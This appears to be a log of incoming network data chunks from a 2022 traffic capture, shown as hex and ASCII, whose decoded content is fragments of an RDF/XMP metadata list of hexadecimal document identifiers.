2022-07-21 02:34:51 UTC	7540	IN	Data Raw: 34 33 38 39 35 44 34 44 46 35 39 39 35 32 33 43 31 42 32 34 37 46 44 38 44 45 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 32 38 44 42 34 30 45 38 45 35 39 39 36 31 43 36 34 39 45 34 30 45 41 45 46 42 44 36 44 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 32 39 30 41 37 44 39 42 35 37 39 37 33 42 36 42 35 37 30 30 35 41 38 42 43 45 45 34 45 39 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 32 39 32 46 34 31 33 35 44 31 45 37 46 30 43 34 39 46 42 30 30 46 41 39 43 36 36 41 38 42 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 32 39 46 41 39 35 32 30 37 35 41 38 45 43 34 30 34 32 42 33 46 31 42 46 46 45 46 31 34 41 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 32 42 35 31 43 35 30 46 34 Data Ascii: 43895D4DF599523C1B247FD8DE9</rdf:li> <rdf:li>028DB40E8E59961C649E40EAEFBD6D0C</rdf:li> <rdf:li>0290A7D9B57973B6B57005A8BCEE4E9E</rdf:li> <rdf:li>0292F4135D1E7F0C49FB00FA9C66A8B4</rdf:li> <rdf:li>029FA952075A8EC4042B3F1BFFEF14A3</rdf:li> <rdf:li>02B51C50F4
2022-07-21 02:34:51 UTC	7556	IN	Data Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 46 41 44 32 45 39 42 32 32 44 30 39 30 46 43 44 31 42 31 30 31 37 30 31 36 39 36 36 44 33 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 46 42 31 31 46 32 39 32 35 38 33 35 38 34 32 31 33 45 41 44 37 34 41 46 36 43 31 35 34 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 46 42 32 33 34 46 32 37 32 45 38 41 30 33 38 37 33 33 36 43 37 35 31 38 37 39 36 45 34 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 46 43 32 43 32 32 45 45 32 30 46 37 32 41 39 30 45 45 45 34 39 38 46 46 30 34 42 42 42 39 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 46 43 33 32 32 45 31 43 32 42 35 36 36 45 37 43 37 44 44 36 42 44 38 32 41 31 38 34 38 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 Data Ascii: i> <rdf:li>0FAD2E9B22D090FCD1B1017016966D37</rdf:li> <rdf:li>0FB11F292583584213EAD74AF6C1540E</rdf:li> <rdf:li>0FB234F272E8A0387336C7518796E4AA</rdf:li> <rdf:li>0FC2C22EE20F72A90EEE498FF04BBB9B</rdf:li> <rdf:li>0FC322E1C2B566E7C7DD6BD82A184832</rdf:li> <r
2022-07-21 02:34:51 UTC	7564	IN	Data Raw: 20 3c 72 64 66 3a 6c 69 3e 31 35 43 43 30 45 33 31 46 30 32 32 36 38 36 42 46 42 31 30 30 46 41 36 36 32 34 45 31 36 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 35 43 43 43 42 35 32 38 42 36 33 44 35 30 31 45 43 46 37 31 46 42 42 34 45 33 32 33 34 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 35 44 35 45 42 30 31 30 38 33 43 42 36 38 30 37 35 34 34 42 33 38 43 32 46 43 36 35 41 43 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 35 45 37 37 42 31 38 31 46 37 46 43 45 44 37 36 38 37 36 41 37 36 45 36 35 33 32 44 37 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 35 46 30 34 33 30 30 35 43 44 42 30 41 36 32 33 43 36 41 33 44 33 31 37 39 38 33 34 39 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 Data Ascii: <rdf:li>15CC0E31F022686BFB100FA6624E1616</rdf:li> <rdf:li>15CCCB528B63D501ECF71FBB4E32343E</rdf:li> <rdf:li>15D5EB01083CB6807544B38C2FC65ACE</rdf:li> <rdf:li>15E77B181F7FCED76876A76E6532D72D</rdf:li> <rdf:li>15F043005CDB0A623C6A3D317983496F</rdf:li> <rdf
2022-07-21 02:34:51 UTC	7580	IN	Data Raw: 43 46 30 30 34 43 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 33 43 31 42 39 32 36 45 33 34 35 32 45 42 36 37 30 42 36 41 42 36 34 46 35 42 35 31 46 46 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 33 43 38 39 45 39 34 31 36 39 32 32 38 36 32 30 42 32 37 44 44 39 36 42 32 35 45 35 46 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 33 45 43 39 33 34 35 37 41 44 45 43 36 46 30 33 44 38 39 39 37 30 46 32 38 30 43 30 43 36 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 33 45 44 45 34 32 34 30 30 31 41 44 42 33 44 42 37 42 33 41 36 30 45 39 43 46 42 45 43 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 33 45 46 34 30 44 34 41 42 34 30 42 39 42 35 39 31 38 31 31 31 41 32 43 31 30 41 35 32 Data Ascii: CF004C3</rdf:li> <rdf:li>23C1B926E3452EB670B6AB64F5B51FFB</rdf:li> <rdf:li>23C89E94169228620B27DD96B25E5FDA</rdf:li> <rdf:li>23EC93457ADEC6F03D89970F280C0C6A</rdf:li> <rdf:li>23EDE424001ADB3DB7B3A60E9CFBEC12</rdf:li> <rdf:li>23EF40D4AB40B9B5918111A2C10A52
2022-07-21 02:34:51 UTC	7596	IN	Data Raw: 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 30 31 44 41 32 32 43 42 41 36 32 37 35 41 38 41 30 39 33 37 32 45 31 42 41 46 43 46 44 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 30 32 43 39 45 42 37 46 33 34 41 46 46 42 39 31 34 31 34 37 30 46 31 45 42 45 38 35 42 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 30 33 42 36 37 37 45 30 32 31 42 45 30 37 44 32 45 43 33 34 38 35 45 34 44 42 31 45 41 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 30 33 44 45 44 33 45 46 34 32 42 35 32 35 35 33 42 32 44 33 32 46 32 45 37 34 36 35 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 31 30 30 35 30 35 36 32 33 31 30 41 46 31 32 33 36 36 31 30 34 37 38 33 34 38 43 31 37 42 3c 2f 72 Data Ascii: C5</rdf:li> <rdf:li>3001DA22CBA6275A8A09372E1BAFCFD5</rdf:li> <rdf:li>3002C9EB7F34AFFB9141470F1EBE85B2</rdf:li> <rdf:li>3003B677E021BE07D2EC3485E4DB1EAD</rdf:li> <rdf:li>3003DED3EF42B52553B2D32F2E74659D</rdf:li> <rdf:li>3010050562310AF1236610478348C17B</r
2022-07-21 02:34:51 UTC	7603	IN	Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 36 32 37 44 41 45 42 36 37 44 37 44 33 46 31 30 32 44 45 45 43 31 42 43 41 38 45 39 34 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 36 33 43 46 43 36 35 43 41 45 39 45 34 36 45 45 46 36 30 36 43 37 39 46 41 42 30 43 38 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 36 34 31 38 39 31 34 32 32 43 33 46 36 43 37 35 30 32 41 41 43 43 45 42 42 38 39 42 38 34 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 36 35 30 32 38 36 36 36 38 44 33 34 37 34 45 38 41 34 31 38 39 44 31 35 38 38 46 32 35 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 36 35 36 37 43 36 44 35 31 45 41 43 31 45 44 32 31 31 37 39 31 30 41 32 46 44 43 35 30 45 46 3c 2f 72 64 66 Data Ascii: </rdf:li> <rdf:li>3627DAEB67D7D3F102DEEC1BCA8E9468</rdf:li> <rdf:li>363CFC65CAE9E46EEF606C79FAB0C88D</rdf:li> <rdf:li>3641891422C3F6C7502AACCEBB89B84B</rdf:li> <rdf:li>3650286668D3474E8A4189D1588F259A</rdf:li> <rdf:li>36567C6D51EAC1ED2117910A2FDC50EF</rdf
2022-07-21 02:34:51 UTC	7619	IN	Data Raw: 34 39 45 39 41 38 44 46 46 33 36 36 38 38 45 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 33 36 35 42 31 46 38 45 34 35 33 32 30 31 45 45 46 32 31 46 45 33 41 38 45 45 31 32 41 35 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 33 39 32 33 44 41 42 45 32 41 39 32 45 35 46 33 43 34 45 36 35 45 34 41 38 45 35 44 43 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 33 39 34 35 42 43 46 42 33 43 45 33 34 37 41 35 37 42 35 43 43 46 43 34 37 35 38 43 38 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 33 41 36 41 33 35 42 36 30 46 31 41 46 43 44 46 44 34 33 43 34 44 30 42 36 41 41 41 46 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 33 41 46 38 36 45 46 34 42 46 42 45 37 34 38 30 45 43 44 41 Data Ascii: 49E9A8DFF36688E1</rdf:li> <rdf:li>4365B1F8E453201EEF21FE3A8EE12A58</rdf:li> <rdf:li>43923DABE2A92E5F3C4E65E4A8E5DC7D</rdf:li> <rdf:li>43945BCFB3CE347A57B5CCFC4758C867</rdf:li> <rdf:li>43A6A35B60F1AFCDFD43C4D0B6AAAFF9</rdf:li> <rdf:li>43AF86EF4BFBE7480ECDA
2022-07-21 02:34:51 UTC	7635	IN	Data Raw: 35 30 32 46 37 38 44 37 34 39 42 33 32 45 31 34 41 37 36 46 36 37 38 46 37 43 31 34 34 31 31 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 30 33 41 46 35 44 43 45 31 36 30 43 34 32 35 41 32 45 31 41 34 34 42 42 45 45 31 35 31 45 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 30 34 36 30 42 41 30 32 32 30 37 41 45 41 30 43 38 42 30 37 45 44 33 35 36 34 43 43 38 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 30 35 32 43 44 43 38 43 31 37 39 32 43 37 31 32 43 36 44 42 39 32 32 39 45 38 32 30 35 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 30 37 32 46 37 41 30 35 33 45 35 42 43 35 34 37 38 43 37 38 36 39 43 44 31 36 42 41 35 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 30 37 36 45 Data Ascii: 502F78D749B32E14A76F678F7C14411E</rdf:li> <rdf:li>503AF5DCE160C425A2E1A44BBEE151E4</rdf:li> <rdf:li>50460BA02207AEA0C8B07ED3564CC87B</rdf:li> <rdf:li>5052CDC8C1792C712C6DB9229E82053E</rdf:li> <rdf:li>5072F7A053E5BC5478C7869CD16BA55B</rdf:li> <rdf:li>5076E
2022-07-21 02:34:51 UTC	7643	IN	Data Raw: 44 34 34 42 42 41 45 37 36 33 37 35 35 35 32 44 43 36 35 42 45 44 32 32 45 44 45 37 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 36 46 38 30 39 41 35 46 33 37 36 41 37 37 32 42 45 45 39 34 35 39 34 37 30 36 42 34 42 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 36 46 39 37 38 32 36 31 41 44 37 38 30 32 36 38 31 34 30 44 37 36 42 42 34 39 35 41 46 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 37 32 34 35 32 44 38 45 35 44 46 39 45 36 39 43 38 45 39 36 41 46 35 33 44 46 31 36 37 39 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 37 32 36 33 34 32 46 37 42 46 36 39 45 43 42 41 31 41 33 30 42 30 44 31 43 30 39 35 42 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 37 33 45 46 35 41 Data Ascii: D44BBAE76375552DC65BED22EDE73E</rdf:li> <rdf:li>56F809A5F376A772BEE94594706B4B69</rdf:li> <rdf:li>56F978261AD780268140D76BB495AF09</rdf:li> <rdf:li>572452D8E5DF9E69C8E96AF53DF1679F</rdf:li> <rdf:li>5726342F7BF69ECBA1A30B0D1C095B44</rdf:li> <rdf:li>573EF5A
2022-07-21 02:34:51 UTC	7659	IN	Data Raw: 35 42 33 36 36 44 35 33 43 45 36 37 45 43 39 42 31 37 36 37 41 34 33 39 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 36 30 39 41 36 43 33 31 33 32 45 42 37 44 30 31 37 31 46 38 34 45 42 36 36 46 30 41 35 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 36 30 41 34 34 43 43 32 32 45 32 46 39 30 30 43 46 42 43 37 38 38 30 42 34 37 34 44 33 38 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 36 31 45 36 42 42 35 42 34 35 31 35 39 33 30 43 37 41 39 33 36 33 39 32 38 36 42 38 44 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 36 32 38 37 41 32 44 42 46 32 31 43 38 32 44 43 30 30 46 32 34 37 30 37 35 33 36 46 38 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 36 32 44 34 42 31 36 30 38 36 44 Data Ascii: 5B366D53CE67EC9B1767A4397</rdf:li> <rdf:li>6609A6C3132EB7D0171F84EB66F0A5D0</rdf:li> <rdf:li>660A44CC22E2F900CFBC7880B474D38A</rdf:li> <rdf:li>661E6BB5B4515930C7A93639286B8D11</rdf:li> <rdf:li>66287A2DBF21C82DC00F24707536F846</rdf:li> <rdf:li>662D4B16086D
2022-07-21 02:34:51 UTC	7675	IN	Data Raw: 20 3c 72 64 66 3a 6c 69 3e 37 34 32 37 39 39 30 41 42 45 44 32 43 30 42 36 41 44 32 42 46 31 30 45 32 38 41 38 44 32 45 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 34 33 42 45 30 44 37 38 30 35 39 41 39 38 44 45 35 42 39 38 44 45 46 36 32 32 34 38 38 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 34 34 44 33 39 37 36 41 32 31 42 30 36 46 32 33 30 44 45 43 45 42 30 34 35 44 35 43 44 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 34 35 34 35 33 39 37 42 36 39 33 38 39 32 32 46 45 35 46 33 39 45 30 34 41 33 33 34 30 33 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 34 35 37 38 43 39 33 33 41 33 39 42 33 41 38 39 35 33 31 43 37 34 43 46 31 45 37 33 44 32 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 Data Ascii: <rdf:li>7427990ABED2C0B6AD2BF10E28A8D2ED</rdf:li> <rdf:li>743BE0D78059A98DE5B98DEF62248830</rdf:li> <rdf:li>744D3976A21B06F230DECEB045D5CD18</rdf:li> <rdf:li>74545397B6938922FE5F39E04A33403F</rdf:li> <rdf:li>74578C933A39B3A89531C74CF1E73D29</rdf:li> <rdf
2022-07-21 02:34:51 UTC	7683	IN	Data Raw: 72 64 66 3a 6c 69 3e 37 41 30 36 41 32 35 36 45 44 38 41 43 46 37 43 34 31 37 32 41 46 39 35 42 42 38 31 42 43 31 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 41 30 45 34 34 46 36 44 42 46 37 38 38 33 39 41 43 38 46 38 38 37 38 45 32 37 39 30 37 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 41 31 42 39 32 36 32 33 37 38 38 34 30 38 34 39 43 42 36 33 37 36 45 34 46 38 36 39 39 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 41 32 30 41 34 45 41 32 35 33 39 34 46 42 41 36 31 39 33 39 32 42 32 46 45 36 43 32 37 38 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 41 33 36 41 42 44 36 45 35 35 38 31 39 41 33 39 43 34 30 43 44 34 31 30 36 36 37 35 43 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c Data Ascii: rdf:li>7A06A256ED8ACF7C4172AF95BB81BC1A</rdf:li> <rdf:li>7A0E44F6DBF78839AC8F8878E279074D</rdf:li> <rdf:li>7A1B9262378840849CB6376E4F869996</rdf:li> <rdf:li>7A20A4EA25394FBA619392B2FE6C278A</rdf:li> <rdf:li>7A36ABD6E55819A39C40CD4106675CFC</rdf:li> <rdf:l
2022-07-21 02:34:51 UTC	7699	IN	Data Raw: 36 32 43 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 37 36 34 44 33 38 45 43 31 46 45 33 33 44 45 30 30 43 33 35 42 45 31 43 38 34 43 30 44 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 37 36 35 30 38 32 39 46 33 38 44 46 37 45 43 33 36 34 35 44 37 38 43 44 38 41 35 36 30 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 37 36 37 43 44 43 42 45 39 37 34 38 37 35 30 32 37 36 46 37 41 34 34 45 35 42 33 36 32 46 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 37 36 44 39 37 31 31 45 37 30 37 33 41 37 35 33 45 39 43 39 32 36 31 46 36 41 44 31 44 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 37 37 30 41 44 34 38 45 32 41 41 46 32 44 43 37 35 37 37 38 31 44 45 46 44 35 39 43 46 37 45 Data Ascii: 62C88</rdf:li> <rdf:li>8764D38EC1FE33DE00C35BE1C84C0DA5</rdf:li> <rdf:li>87650829F38DF7EC3645D78CD8A56066</rdf:li> <rdf:li>8767CDCBE9748750276F7A44E5B362F1</rdf:li> <rdf:li>876D9711E7073A753E9C9261F6AD1DF9</rdf:li> <rdf:li>8770AD48E2AAF2DC757781DEFD59CF7E
2022-07-21 02:34:51 UTC	7715	IN	Data Raw: 34 41 46 36 41 39 38 45 31 42 38 35 39 46 43 32 44 32 41 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 35 39 43 39 30 46 36 33 42 32 30 35 37 31 35 42 45 43 34 31 43 31 35 45 33 36 34 35 41 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 35 39 43 44 45 36 34 46 32 41 30 41 32 33 32 35 41 37 45 42 30 33 43 37 38 37 42 42 30 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 35 41 30 44 44 34 43 30 42 43 38 39 45 46 41 46 36 37 31 45 45 34 44 32 36 39 32 45 37 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 35 41 34 33 41 36 32 36 38 38 35 32 31 45 41 33 38 35 33 46 31 30 38 36 45 36 33 37 46 42 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 35 41 34 46 34 37 37 34 35 30 38 45 33 35 43 Data Ascii: 4AF6A98E1B859FC2D2A64</rdf:li> <rdf:li>959C90F63B205715BEC41C15E3645A00</rdf:li> <rdf:li>959CDE64F2A0A2325A7EB03C787BB003</rdf:li> <rdf:li>95A0DD4C0BC89EFAF671EE4D2692E7F9</rdf:li> <rdf:li>95A43A62688521EA3853F1086E637FBD</rdf:li> <rdf:li>95A4F4774508E35C
2022-07-21 02:34:51 UTC	7723	IN	Data Raw: 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 42 45 31 30 30 46 44 43 44 39 36 34 43 32 34 42 42 45 41 38 45 38 41 31 33 34 42 34 44 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 42 45 35 37 35 32 41 37 46 36 31 43 34 33 44 44 38 42 45 33 37 46 35 34 31 39 46 43 45 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 42 45 37 31 41 46 38 38 46 41 44 34 38 42 31 30 43 37 41 30 33 39 34 45 37 34 35 33 33 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 43 30 36 43 32 35 38 36 35 42 38 36 30 44 31 32 34 38 46 38 44 45 33 46 34 44 42 43 46 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 43 30 38 39 43 30 42 32 43 30 38 32 30 43 45 42 35 44 36 30 42 43 43 44 43 46 41 46 45 39 35 3c 2f 72 64 66 3a 6c Data Ascii: rdf:li> <rdf:li>9BE100FDCD964C24BBEA8E8A134B4D0B</rdf:li> <rdf:li>9BE5752A7F61C43DD8BE37F5419FCE35</rdf:li> <rdf:li>9BE71AF88FAD48B10C7A0394E745339A</rdf:li> <rdf:li>9C06C25865B860D1248F8DE3F4DBCF00</rdf:li> <rdf:li>9C089C0B2C0820CEB5D60BCCDCFAFE95</rdf:l
2022-07-21 02:34:51 UTC	7739	IN	Data Raw: 34 34 44 39 39 36 33 42 36 36 42 44 42 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 39 31 43 37 46 38 43 46 33 45 43 36 46 31 30 36 44 31 32 42 35 34 45 37 32 32 35 42 44 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 39 32 33 42 31 43 33 32 43 30 43 34 44 34 37 41 38 43 30 41 38 42 38 39 33 33 31 39 39 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 39 33 36 30 46 31 34 44 33 46 41 31 46 44 36 45 30 43 36 35 41 42 38 35 37 45 33 35 38 38 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 39 33 41 37 38 41 32 35 46 35 44 31 42 33 43 34 32 44 39 35 43 30 37 44 43 38 39 31 44 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 39 35 46 31 34 39 41 46 38 43 32 36 38 46 35 43 46 42 37 31 38 46 Data Ascii: 44D9963B66BDB2</rdf:li> <rdf:li>A91C7F8CF3EC6F106D12B54E7225BD08</rdf:li> <rdf:li>A923B1C32C0C4D47A8C0A8B89331996B</rdf:li> <rdf:li>A9360F14D3FA1FD6E0C65AB857E3588A</rdf:li> <rdf:li>A93A78A25F5D1B3C42D95C07DC891DCD</rdf:li> <rdf:li>A95F149AF8C268F5CFB718F
2022-07-21 02:34:51 UTC	7755	IN	Data Raw: 33 44 31 42 30 46 31 33 31 33 38 33 33 37 45 38 44 43 39 37 35 44 36 37 36 36 30 31 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 36 34 45 45 30 32 30 38 39 36 39 46 37 44 30 42 38 32 37 43 33 42 37 41 45 42 41 45 43 34 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 36 35 30 39 35 35 43 34 44 35 46 32 33 45 36 33 39 31 34 37 35 42 41 34 31 34 34 38 46 45 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 36 36 36 43 30 35 31 45 46 32 41 44 35 38 33 45 35 34 36 45 35 46 30 38 33 42 35 34 44 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 36 37 41 45 31 45 43 38 45 39 38 39 36 30 45 30 45 30 39 38 41 32 39 35 33 43 32 45 36 30 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 36 37 46 38 46 42 Data Ascii: 3D1B0F13138337E8DC975D67660109</rdf:li> <rdf:li>B64EE0208969F7D0B827C3B7AEBAEC4A</rdf:li> <rdf:li>B650955C4D5F23E6391475BA41448FEC</rdf:li> <rdf:li>B666C051EF2AD583E546E5F083B54DD4</rdf:li> <rdf:li>B67AE1EC8E98960E0E098A2953C2E607</rdf:li> <rdf:li>B67F8FB
2022-07-21 02:34:51 UTC	7762	IN	Data Raw: 35 38 42 41 32 31 39 46 41 32 35 45 36 46 38 30 39 35 38 34 43 43 34 31 37 41 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 44 35 41 32 33 30 46 39 43 35 44 35 46 30 41 42 42 33 44 38 43 45 31 44 30 31 33 39 39 46 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 44 35 43 46 44 46 44 38 45 30 35 39 36 33 46 30 45 38 37 32 42 45 41 35 42 39 45 45 34 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 44 37 38 38 46 39 43 33 38 45 44 37 44 45 46 36 31 44 31 38 45 37 41 45 38 37 45 35 36 33 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 44 39 35 39 41 30 46 33 43 46 32 32 39 46 41 33 30 30 37 42 42 31 43 32 45 44 35 37 44 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 44 39 41 34 46 36 31 46 Data Ascii: 58BA219FA25E6F809584CC417A81</rdf:li> <rdf:li>BD5A230F9C5D5F0ABB3D8CE1D01399FB</rdf:li> <rdf:li>BD5CFDFD8E05963F0E872BEA5B9EE47A</rdf:li> <rdf:li>BD788F9C38ED7DEF61D18E7AE87E563F</rdf:li> <rdf:li>BD959A0F3CF229FA3007BB1C2ED57D13</rdf:li> <rdf:li>BD9A4F61F
2022-07-21 02:34:51 UTC	7763	IN	Data Raw: 39 43 35 44 38 44 30 42 34 43 42 39 33 30 35 31 35 35 33 39 41 31 36 35 41 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 45 31 33 34 33 38 38 39 45 35 35 43 35 36 36 43 36 45 36 35 31 35 34 34 42 45 42 35 39 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 45 31 38 38 41 39 46 46 35 37 44 34 30 44 34 35 41 46 42 41 34 43 46 32 42 33 38 33 30 43 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 45 32 33 32 44 44 44 46 32 39 37 37 43 46 38 44 42 44 33 38 34 42 37 32 36 30 46 38 46 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 45 33 37 41 38 45 41 39 30 46 43 42 30 33 32 43 32 33 44 34 41 32 30 43 36 44 32 31 42 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 45 33 45 43 42 31 43 43 36 Data Ascii: 9C5D8D0B4CB930515539A165A51</rdf:li> <rdf:li>BE1343889E55C566C6E651544BEB5982</rdf:li> <rdf:li>BE188A9FF57D40D45AFBA4CF2B3830CE</rdf:li> <rdf:li>BE232DDDF2977CF8DBD384B7260F8F0B</rdf:li> <rdf:li>BE37A8EA90FCB032C23D4A20C6D21B63</rdf:li> <rdf:li>BE3ECB1CC6
